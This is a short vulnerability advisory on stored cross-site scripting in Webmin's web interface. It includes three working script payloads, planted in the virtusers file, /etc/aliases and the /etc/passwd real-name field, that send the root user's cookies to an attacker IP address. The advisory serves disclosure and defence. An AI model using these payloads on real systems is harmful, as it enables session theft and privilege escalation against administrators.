source: http://www.securityfocus.com/bid/4329/info

Webmin is a web-based interface for system administration of Unix and Linux operating systems.

Webmin does not filter script code from output that may be displayed by the web interface, such as log files, etc. This may enable a local attacker, with write privileges to such files, to cause arbitrary script code to be executed by the root user. Additionally, an attacker who can contrive a way to inject malicious script code into other types of output displayed by the Webmin interface may also exploit this issue.

This may enable the attacker to steal cookie-based authentication credentials from the root user, eventually resulting in an escalation of privileges for the local attacker. 

Insert the following line into the virtusers file, and wait for the root
user to visit that page:
</tt></a></td><tt><td><script>/* */document.write('<img
src="http://192.168.40.1/'+document.cookie+'">');</script>

Or the following into the /etc/aliases file:
</a></td><td><tt><script>zz=unescape("%20");document.write('<img'/*:
*/+zz+'src="http://10.1.1.33/'+document.cookie+'">');</script>

Potentially more likely to be exploited however, would be a malicious
local user who has _no_ access to webmin, who could change a file that
webmin views through the HTML
interface (where the code being read in is not checked for HTML). An
example would be changing their
'real name' in /etc/passwd to be something along the lines of:
<script>zz=unescape("%3A");document.write('<img
src="http'+zz+'//10.1.1.33/'+document.cookie+'">');</script>
(Although chfn doesn't let you specify a username this long, but you get
the idea.)